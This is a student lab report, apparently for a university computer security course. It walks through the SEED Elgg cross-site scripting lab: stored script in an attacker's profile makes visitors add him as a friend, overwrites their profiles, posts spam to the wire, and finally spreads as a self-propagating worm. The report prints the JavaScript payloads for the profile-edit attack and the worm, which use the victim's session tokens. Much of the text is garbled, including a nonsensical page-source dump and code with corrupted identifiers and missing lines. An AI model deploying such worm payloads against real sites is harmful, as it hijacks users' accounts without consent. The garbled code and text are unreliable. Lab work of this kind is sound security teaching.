

Bangladesh University of Engineering and Technology

Report on Cross-Site Scripting (XSS) Attack CSE 406 Computer Security Sessional

Submitted By:


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ID: 1905077


Section: B1


Task 1: Becoming the victim's friend:

At first we found the endpoint for adding friend using the inspect tool. I also inspected the guid of Samy by viewing page source after visiting Samy's profile page.



Add Friend endpoint inspection






messages"></div></div><div class="elgg-page-section elgg-page-topbar"><div class="elgg-inner"> ase/hlse/divs

prepart double substit-cfieldest-odic class-elgg field sign field required*-odic class-elgg field sign field required*-odic class-elgg into test search input* size-?2* name-q* autocapitalize-off* autocorrect-off* required*-required* placeholders span class-elgg-icon elgg-icon-belowarks sign search input* size-?2* name-q* autocapitalize-off* autocorrect-off* required*-required* placeholders span class-elgg-icon-legg-icon-belowarks sign search-input* size-?2* name-q* autocapitalize-off* autocorrect-off* required*-required* placeholders span class-elgg-icon-legg-


ner data-men-same-footer-val class-felga-men glog-men- footer elga-men- footer sign-men- footer-default* data-men-section-default*vall data-men-section-defa

After examining these details, I wrote a script within the attacker's profile description and modified the attacker's profile accordingly by clicking save. Now, whenever someone accesses the attacker's profile, the script executes, prompting the viewer to send a friend request to the attacker.




Writing and Saving Script in Attacker's Profile


Now suppose we go to Alice's profile and go to her friend list.



Now Alice visits Samy's profile.




And Samy becomes Alice's friend if we check by going into the friends section of Alice.



Task 2 Modifying the victim's profile:


At first we found the endpoint for editing profile using the inspect tool. I also inspected the contents that go with the header.




Inspecting Edit Profile Endpoint and The Contents Along With It

Following that, I devised yet another script within the attacker's profile description and made updates to the attacker's profile. Consequently, whenever anyone accesses the attacker's profile, their profile information will be altered via an edit profile post request without their awareness.


```
task4.html M
<script type="text/javascript">
    window.onload = function () {
        //and Security Token __elgg_token
var ts = "&__elgg_ts=" + elgg_security.token.__elgg_ts;
         var token = "&_elgg_token=" + elgg.security.token.__elgg_token;
        var sendurl = "http://www.seed-server.com/action/profile/edit";
//generate an array of 10 random strings
        var randomStrings = [];
         for (var i = 0; i < 10; i++) {
             randomStrings.push(Math.random().toString(36).substring(7));
         var name = elgg.session.user.name;
         var samy_id= 59;
         var content = token + ts + '&name=' + name
             + '&briefdescription=' + randomStrings[0] + '&accesslevel[briefdescription]=1'
             + '&location=' + randomStrings[1] + '&accesslevel[location]=1'
+ '&interests=' + randomStrings[2] + '&accesslevel[interests]=1'
+ '&skills=' + randomStrings[3] + '&accesslevel[skills]=1'
             + '&contactemail=' + randomStrings[4] + '@gmail.com&accesslevel[contactemail]=1'
             + '&phone=' + randomStrings[5] + '&accesslevel[phone]=1'
+ '&mobile=' + randomStrings[6] + '&accesslevel[mobile]=1'
             + '&website=http://www.' + randomStrings[7] + '.com&accesslevel[website]=1'
              + '&twitter=' + randomStrings[8] + '&accesslevel[twitter]=1'
              + '&guid=' + elgg.session.user.guid;
         if (elgg.session.user.guid != samy_id) {
             Ajax = new XMLHttpRequest();
             Ajax.open("POST", sendurl, true);
             Ajax.setRequestHeader("Host", "www.seed-server.com");
             Ajax.setRequestHeader("Content-Type",
             Ajax.send(content);
```



Alice's profile looked like this before visiting Samy:




After visiting Samy's profile, her own profile will become:




We can see that the fields are loaded with random gibberish strings and about me has my student id in it, as instructed.

Task 3: Posting on the Wire on behalf of the Victim:


We inspect the endpoint of how any post is added to the wire for this task.




Now we save the script to Samy's file such that when a user visits his profile, he will post "To earn 12 USD/Hour(!), visit now http://www.seed-server.com/profile/samy" on the wire.



Now suppose before Alice visits Samy's profile, the wire looks like this



After Alice visits Samy's profile, the wire will be like this.



Alice unknowingly posted on wire by visiting Attacker's profile

Task 4 Designing a self-Propagating Worm:

For this task, we will use the provided worm code . We took all the scripts from task 1, 2 and 3, with the notable exception that the description of the profile will now contain the wormcode.


We add the script to Samy's description as before-

```
var samy id= 59;
          var sendurl = "http://www.seed-server.com/action/friends/add?friend="+samy_id + ts + ts + token + token;
          if (elgg.session.user.guid != samy_id) {
               //L/eate and send Ajax request to add friend
Ajax = new WUHttpRequest();
Ajax.open("GEI", sendurl, true);
Ajax.setRequestHeader("Host", "www.seed-server.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
          var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
           Ajax = null;

ts = "8_elgg_ts=" + elgg_security.token.__elgg_ts;


token = "8_elgg_token=" + elgg_security.token.__elgg_token;


sendurl = "http://www.seed-server.com/action/profile/edit";
          var name = elgg.session.user.name;
                 + '&twitter=&accesslevel[twitter]=1'
+ '&guid=' + elgg.session.user.guid;
          if (elgg.session.user.guid != samy_id) {
               ts = "&_elgg_ts=" + elgg.security.token._elgg_ts;
token = "&_elgg_token=" + elgg.security.token._elgg_token;
           var sendurl = "http://www.seed-server.com/action/thewire/add";
var content = ts+token+ "&body=To earn 12 USD/Hour(!), visit now http://www.seed-server.com/profile/"+elgg.session.user.username;
           Ajax = null;
if (elgg.session.user.guid != samy_id) {
                 Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.seed-server.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
```




Let's demonstrate the self propagation of worm:


Alice doesn't have Samy added as a friend. So her friend list and the wire looks like this -






After visiting Samy's profile, her friend list and wire will look like this:







If we visit Alice's edit profile page, we will see that it now contains the script that we added in Samy's profile-




Now suppose Charlie logs in. His friend list and wire looks like this-







Now if Samy visits Alice's profile, he will add Samy as his friend automatically.



The wire will look like this



If we see Charlie's edit profile page, it will have the script on its description.



So the worm is successfully propagating through the system.

Through my experiences with the previous tasks, I've learned firsthand how cross-scripting attacks operate in real-world scenarios and how the human element plays a critical role in the propagation of these attacks. This insight will serve as a valuable lesson in staying vigilant and prepared for similar attack scenarios on the internet.